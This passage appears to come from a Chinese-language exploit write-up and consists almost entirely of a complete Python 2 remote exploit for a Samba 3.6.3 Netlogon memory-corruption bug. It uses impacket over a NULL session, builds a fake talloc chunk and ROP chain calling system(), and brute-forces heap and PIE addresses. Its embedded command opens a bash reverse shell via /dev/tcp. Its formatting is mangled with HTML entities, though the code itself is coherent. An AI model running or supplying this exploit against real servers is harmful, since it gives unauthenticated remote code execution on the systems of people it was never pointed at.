&nbsp;rop += l32(snprintf) + l32(pop4ret) &nbsp; &nbsp;rop += l32(bss + i) + l32(2) + l32(fmt) + l32(ord(c)) system(cmd) rop += l32(system) + 'leet' + l32(bss) &nbsp; [ 4] 中使用的方法是传统的mmap() + memcpy()然后执行shellcode的方式,可以实现相同的效果。 4.6 exploit完整代码 samba-exploit.py # !/usr/bin/env python2 Author: kelwin@chaitin.com sudo apt-get install samba=2:3.6.3-2ubuntu2 samba-common=2:3.6.3-2ubuntu2 libwbclient0=2:3.6.3-2ubuntu2 import sys import signal import time https://github.com/zTrix/zio from zio import * from multiprocessing import Pool, Manager import impacket from impacket.dcerpc.v5 import transport, nrpc from impacket.dcerpc.v5.ndr import NDRCALL from impacket.dcerpc.v5.dtypes import * host = '127.0.0.1' port = 445 cmd = "bash -c 'bash &gt;/dev/tcp/127.0.0.1/1337 0&lt;&amp;1 '\0" 0x0041e2cb: pop eax ; pop esi ; pop edi ; pop ebp ; ret ; pop4ret_ o = 0x41e2cb 0x000a6d7c: lea esp, dword [ ecx-0x04 ] ; ret ; popebx_ o = 0x006fd522 pivot_ o = 0xa6d7c got_ o = 0x9cd640 fmt_ o = 0x8e043e system_ o = 0xa4250 snprintf_ o = 0xa3e20 bss_ o = 0x9d5dc0 pie = 0x80000000 free_ addr = 0x809fa10c + 8 + 32 def exploit(free_ addr, pie=0, destructor=-1, step=0x80): &nbsp; &nbsp;pivot = pie + pivot_ o &nbsp; &nbsp;pop4ret = pie + pop4ret_ o &nbsp; &nbsp;popebx = pie + popebx_ o &nbsp; &nbsp;got = pie + got_ o &nbsp; &nbsp;fmt = pie + fmt_ o &nbsp; &nbsp;system = pie + system_ o &nbsp; &nbsp;snprintf = pie + snprintf_ o &nbsp; &nbsp;bss = pie + bss_ o &nbsp; &nbsp;if pie != 0: &nbsp; &nbsp; &nbsp; &nbsp;destructor = pivot &nbsp; &nbsp;# struct talloc_ chunk { &nbsp; &nbsp;# &nbsp; &nbsp; struct talloc_ chunk next, prev; &nbsp; &nbsp;# &nbsp; &nbsp; struct talloc_ chunk parent, child; &nbsp; &nbsp;# &nbsp; &nbsp; struct talloc_ reference_ handle refs; // refs = 0 &nbsp; &nbsp;# &nbsp; &nbsp; talloc_ destructor_ t destructor; // destructor = -1: (No Crash), others: controled EIP &nbsp; &nbsp;# &nbsp; &nbsp; const char name; &nbsp; &nbsp;# &nbsp; &nbsp; size_ t size; &nbsp; &nbsp;# &nbsp; &nbsp; unsigned flags; // magic &nbsp; &nbsp;# &nbsp; &nbsp; void * poo &nbsp; &nbsp;# }; &nbsp; &nbsp;talloc_ chunk = l32(0) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # refs =&gt; 0 &nbsp; &nbsp;talloc_ chunk += l32(destructor) # destructor =&gt; control EIP &nbsp; &nbsp;talloc_ chunk += l32(pop4ret) &nbsp; &nbsp;# pop4ret &nbsp; &nbsp;talloc_ chunk += 'leet' &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# &nbsp; &nbsp;talloc_ chunk += l32(0xe8150c70) # flags =&gt; magic &nbsp; &nbsp;# ebx =&gt; got &nbsp; &nbsp;rop = l32(popebx) + l32(got) &nbsp; &nbsp;# write cmd to bss &nbsp; &nbsp;for i in xrange(len(cmd)): &nbsp; &nbsp; &nbsp; &nbsp;c = cmd[ i ] &nbsp; &nbsp; &nbsp; &nbsp;rop += l32(snprintf) + l32(pop4ret) &nbsp; &nbsp; &nbsp; &nbsp;rop += l32(bss + i) + l32(2) + l32(fmt) + l32(ord(c)) &nbsp; &nbsp;# system(cmd) &nbsp; &nbsp;rop += l32(system) + 'leet' + l32(bss) &nbsp; &nbsp;payload = 'deadbeef' &nbsp; &nbsp;payload += talloc_ chunk * 0x1000 * step &nbsp; &nbsp;payload += 'leet' * 2 &nbsp; &nbsp;payload += rop.ljust(2560, 'C') &nbsp; &nbsp;payload += 'cafebabe' + '\0' &nbsp; &nbsp;username = '' &nbsp; &nbsp;password = '' &nbsp; &nbsp;### &nbsp; &nbsp;# impacket does not implement NetrServerPasswordSet &nbsp; &nbsp;### &nbsp; &nbsp;# 3.5.4.4.6 NetrServerPasswordSet (Opnum 6) &nbsp; &nbsp;class NetrServerPasswordSet(NDRCALL): &nbsp; &nbsp; &nbsp; &nbsp;opnum = 6 &nbsp; &nbsp; &nbsp; &nbsp;structure = ( &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ('PrimaryName',nrpc.PLOGONSRV_ HANDLE), &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ('AccountName',WSTR), &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ('SecureChannelType',nrpc.NETLOGON_ SECURE_ CHANNEL_ TYPE), &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ('ComputerName',WSTR), &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ('Authenticator',nrpc.NETLOGON_ AUTHENTICATOR), &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ('UasNewPassword',nrpc.ENCRYPTED_ NT_ OWF_ PASSWORD), &nbsp; &nbsp; &nbsp; &nbsp;) &nbsp; &nbsp;class NetrServerPasswordSetResponse(NDRCALL): &nbsp; &nbsp; &nbsp; &nbsp;structure = ( &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ('ReturnAuthenticator',nrpc.NETLOGON_ AUTHENTICATOR), &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ('ErrorCode',NTSTATUS), &nbsp; &nbsp; &nbsp; &nbsp;) &nbsp; &nbsp;nrpc.OPNUMS[ 6 ] = (NetrServerPasswordSet, NetrServerPasswordSetResponse) &nbsp; &nbsp;### &nbsp; &nbsp;# connect to target &nbsp; &nbsp;### &nbsp; &nbsp;rpctransport = transport.DCERPCTransportFactory(r'ncacn_ np:%s[ \PIPE\netlogon ]' % host) &nbsp; &nbsp;rpctransport.set_ credentials('','') &nbsp;# NULL session &nbsp; &nbsp;rpctransport.set_ dport(port) &nbsp; &nbsp;# impacket has a problem with SMB2 dialect against samba4 &nbsp; &nbsp;# force to 'NT LM 0.12' only &nbsp; &nbsp;rpctransport.preferred_ dialect('NT LM 0.12') &nbsp; &nbsp;dce = rpctransport.get_ dce_ rpc() &nbsp; &nbsp;dce.connect() &nbsp; &nbsp;dce.bind(nrpc.MSRPC_ UUID_ NRPC) &nbsp; &nbsp;sessionKey = '\x00' * 16 &nbsp; &nbsp;### &nbsp; &nbsp;# prepare ServerPasswordSet request &nbsp; &nbsp;### &nbsp; &nbsp;authenticator = nrpc.NETLOGON_ AUTHENTICATOR() &nbsp; &nbsp;authenticator[ 'Credential' ] = nrpc.ComputeNetlogonCredential('12345678', sessionKey) &nbsp; &nbsp;authenticator[ 'Timestamp' ] = 10 &nbsp; &nbsp;uasNewPass = nrpc.ENCRYPTED_ NT_ OWF_ PASSWORD() &nbsp; &nbsp;uasNewPass[ 'Data' ] = payload &nbsp; &nbsp;primaryName = nrpc.PLOGONSRV_ HANDLE() &nbsp; &nbsp;# ReferentID field of PrimaryName controls the uninitialized value of creds in ubuntu 12.04 32bit &nbsp; &nbsp;primaryName.fields[ 'ReferentID'] = free_ addr &nbsp; &nbsp;request = NetrServerPasswordSet() &nbsp; &nbsp;request[ 'PrimaryName' ] = primaryName &nbsp; &nbsp;request[ 'AccountName' ] = username + '\x00' &nbsp; &nbsp;request[ 'SecureChannelType'] = nrpc.NETLOGON_ SECURE_ CHANNEL_ TYPE.WorkstationSecureChannel &nbsp; &nbsp;request[ 'ComputerName' ] = host + '\x00' &nbsp; &nbsp;request[ 'Authenticator' ] = authenticator &nbsp; &nbsp;request[ 'UasNewPassword' ] = uasNewPass &nbsp; &nbsp;DCERPCSessionError = nrpc.DCERPCSessionError &nbsp; &nbsp;try: &nbsp; &nbsp; &nbsp; &nbsp;resp = dce.request(request) &nbsp; &nbsp; &nbsp; &nbsp;print("no error !! ! error code: 0xc0000225 or 0xc0000034 is expected") &nbsp; &nbsp; &nbsp; &nbsp;print("seems not vulnerable") &nbsp; &nbsp; &nbsp; &nbsp;# resp.dump() &nbsp; &nbsp; &nbsp; &nbsp;dce.disconnect() &nbsp; &nbsp; &nbsp; &nbsp;return 2 &nbsp; &nbsp;except DCERPCSessionError as e: &nbsp; &nbsp; &nbsp; &nbsp;# expect error_ code: 0xc0000225 - STATUS_ NOT_ FOUND &nbsp; &nbsp; &nbsp; &nbsp;# expect error_ code: 0xc0000034 - STATUS_ OBJECT_ NAME_ NOT_ FOUND &nbsp; &nbsp; &nbsp; &nbsp;print("seems not vulnerable") &nbsp; &nbsp; &nbsp; &nbsp;# resp.dump() &nbsp; &nbsp; &nbsp; &nbsp;dce.disconnect() &nbsp; &nbsp; &nbsp; &nbsp;return 2 &nbsp; &nbsp;except impacket.nmb.NetBIOSError as e: &nbsp; &nbsp; &nbsp; &nbsp;# print 'exception occured' &nbsp; &nbsp; &nbsp; &nbsp;if e.args[ 0 ] == 'Error while reading from remote': &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# print("connection lost!! !\nmight be vulnerable") &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return 1 &nbsp; &nbsp; &nbsp; &nbsp;else: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;raise &nbsp; &nbsp;except AttributeError: &nbsp; &nbsp; &nbsp; &nbsp;# print("exception") &nbsp; &nbsp; &nbsp; &nbsp;return 0 def init_ worker(): &nbsp; &nbsp;signal.signal(signal.SIGINT, signal.SIG_ IGN) def guess_ heap(free_ addr, step, hits): &nbsp; &nbsp;if len(hits) &gt; 0: return &nbsp; &nbsp;log("[ +] trying heap addr %s" % hex(free_ addr), 'green') &nbsp; &nbsp;res = exploit(free_ addr, destructor=-1, step=step) &nbsp; &nbsp;if res == 0: &nbsp; &nbsp; &nbsp; &nbsp;res = exploit(free_ addr, destructor=0, step=step) &nbsp; &nbsp; &nbsp; &nbsp;if res != 0: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;log("hit: %s" % hex(free_ addr), 'red') &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;hits.append(free_ addr) def guess_ pie(free_ addr, pie, step): &nbsp; &nbsp;log("[ + ] trying pie base addr %s" % hex(pie), 'green') &nbsp; &nbsp;try: &nbsp; &nbsp; &nbsp; &nbsp;exploit(free_ addr, pie=pie, step=step) &nbsp; &nbsp;except impacket.nmb.NetBIOSTimeout: &nbsp; &nbsp; &nbsp; &nbsp;pass def brute_ force_ heap(step): &nbsp; &nbsp;hit = False &nbsp; &nbsp;print "Initializng 10 processes for brute forcing heap address..." &nbsp; &nbsp;pool = Pool(10, init_ worker) &nbsp; &nbsp;manager = Manager() &nbsp; &nbsp;hits = manager.list() &nbsp; &nbsp;for free_ addr_ base in range(0xb7700000, 0xba000000, 0x1000 * step * 20): &nbsp; &nbsp; &nbsp; &nbsp;for offset in xrange(5): &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;pool.apply_ async(guess_ heap, (free_ addr_ base + offset * 4, step, hits)) &nbsp; &nbsp;try: &nbsp; &nbsp; &nbsp; &nbsp;while True: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;time.sleep(5) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if len(hits) &gt; 0: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;pool.terminate() &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;pool.join() &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return hits[ 0 ] &nbsp; &nbsp;except KeyboardInterrupt: &nbsp; &nbsp; &nbsp; &nbsp;print "Caught KeyboardInterrupt, terminating..." &nbsp; &nbsp; &nbsp; &nbsp;pool.terminate() &nbsp; &nbsp; &nbsp; &nbsp;pool.join() &nbsp; &nbsp; &nbsp; &nbsp;sys.exit(0) def brute_ force_ pie(free_ addr, step): &nbsp; &nbsp;print "Initializng 10 processes for brute forcing PIE base address..." &nbsp; &nbsp;pool = Pool(10, init_ worker) &nbsp; &nbsp;for pie in range(0xb6d00000, 0xb6f00000, 0x1000): &nbsp; &nbsp; &nbsp; &nbsp;pool.apply_ async(guess_ pie, (free_ addr, pie, step)) &nbsp; &nbsp;try: &nbsp; &nbsp; &nbsp; &nbsp;time.sleep(60 * 60) &nbsp; &nbsp;except KeyboardInterrupt: &nbsp; &nbsp; &nbsp; &nbsp;print "Caught KeyboardInterrupt, terminating..." &nbsp; &nbsp; &nbsp; &nbsp;pool.terminate() &nbsp; &nbsp; &nbsp; &nbsp;pool.join() &nbsp; &nbsp;else: &nbsp; &nbsp; &nbsp; &nbsp;pool.close() &nbsp; &nbsp; &nbsp; &nbsp;pool.join() step = 0x1 free_ addr = brute_ force_ heap(step) brute_ force_ pie(free_ addr, step)